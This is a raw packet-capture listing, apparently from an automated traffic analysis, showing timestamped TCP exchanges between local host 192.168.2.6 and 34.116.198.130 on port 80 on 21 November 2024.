Nov 21, 2024 14:11:28.217967987 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.218018055 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.218621016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.218672037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.218682051 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.219407082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.219535112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.219584942 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.220197916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.220321894 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.220418930 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.221133947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.221204996 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.221344948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.221807957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.221931934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.221985102 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.222626925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.222692966 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.222734928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.223381996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.223607063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.223671913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.224229097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.224303007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.224366903 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.225002050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.225056887 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.225128889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.225763083 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.225862980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.225908995 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.226567984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.226686954 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.226686954 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.226690054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.227346897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.227405071 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.227477074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.228184938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.228312016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.228370905 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.229146957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.229195118 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.229331017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.229773045 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.229891062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.229955912 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.230529070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.230582952 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.230637074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.231357098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.231445074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.231523037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.232287884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.232311010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.232404947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.232912064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.232956886 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.233103037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.233776093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.233818054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.233871937 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.234525919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.234630108 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.234654903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.235317945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.235408068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.235517979 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.236105919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.236246109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.236349106 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.236908913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.236968994 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.237035036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.237751007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.237828016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.237899065 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.238524914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.238579988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.238596916 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.239276886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.239665031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.239738941 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.239779949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.239834070 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.240403891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.240515947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.240609884 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.241235018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.241298914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.242012024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.242101908 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.242738008 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.391783953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.391890049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.392046928 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.392189980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.392237902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.392313004 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.392951012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.393165112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.393322945 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.393728018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.395220995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.395262957 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.395291090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.395617008 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.395729065 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.395766020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.396354914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.396429062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.396473885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.397183895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.397233009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.397241116 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.397973061 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.398026943 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.398058891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.398744106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.398772001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.398802996 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.399537086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.399588108 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.399650097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.400341034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.400432110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.400546074 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.401123047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.401163101 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.401213884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.401951075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.402056932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.402113914 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.402729988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.402836084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.402856112 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.403528929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.403592110 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.403691053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.404341936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.404380083 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.404424906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.405138969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.405181885 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.405213118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.405917883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.405946016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.405981064 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.406711102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.406825066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.406941891 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.407495975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.407588005 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.407617092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.408318043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.408418894 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.408484936 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.409113884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.409198046 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.409223080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.409914970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.410047054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.410186052 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.410708904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.410748959 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.410860062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.411566973 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.411701918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.411775112 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.412322998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.412437916 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.412484884 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.413108110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.413172960 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.413196087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.413893938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.413984060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.413990021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.415082932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.415124893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.415201902 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.415693045 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.415738106 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.415781975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.416609049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.416779995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.416826010 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.417360067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.417431116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.417463064 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.417901039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.417983055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.418076992 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.418730974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.418787956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.418802023 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.419481993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.419665098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.419753075 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.420260906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.420418024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.420459986 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.421068907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.421129942 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.421168089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.421901941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.421951056 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.421971083 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.422674894 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.422787905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.422854900 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.423501968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.423558950 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.423608065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.424278021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.424338102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.424385071 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.425045967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.425117970 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.425156116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.426098108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.426131964 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.426222086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.426768064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.426815033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.426820040 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.427503109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.427546978 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.427546978 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.427617073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.428240061 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.428277016 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.428327084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.429054976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.429102898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.429157019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.429857969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.429966927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.430083036 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.430665970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.430756092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.430839062 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.431413889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.431454897 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.431765079 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.431854963 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.431893110 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.432600975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.432718992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.432766914 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.433340073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.433455944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.433482885 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.434113026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.476928949 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.583956003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.584017038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.584059000 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.584110022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.584162951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.584439039 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.584883928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.585009098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.585055113 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.585591078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.585669994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.585922956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.587239981 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.587327957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.587362051 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.587524891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.587553024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.587685108 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.588282108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.588321924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.588413000 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.589096069 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.589271069 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.589504957 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.589876890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.589971066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.590079069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.590677023 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.590920925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.590979099 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.591487885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.591583967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.591646910 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.592281103 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.592375994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.592457056 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.593127012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.593204021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.593276024 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.593839884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.593995094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.594050884 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.594647884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.594743967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.594876051 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.595490932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.595611095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.595673084 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.596251965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.596321106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.596401930 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.597054005 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.597147942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.597196102 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.597964048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.598088980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.598128080 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.598633051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.598733902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.599106073 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.599436998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.599575043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.599632025 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.600231886 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.600328922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.600402117 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.601021051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.601213932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.601259947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.601807117 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.601892948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.602042913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.602657080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.602736950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.602791071 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.603466988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.603579998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.603614092 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.604243994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.604454994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.604495049 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:28.605060101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.605168104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:28.605303049 CET	49903	80	192.168.2.6	34.116.198.130
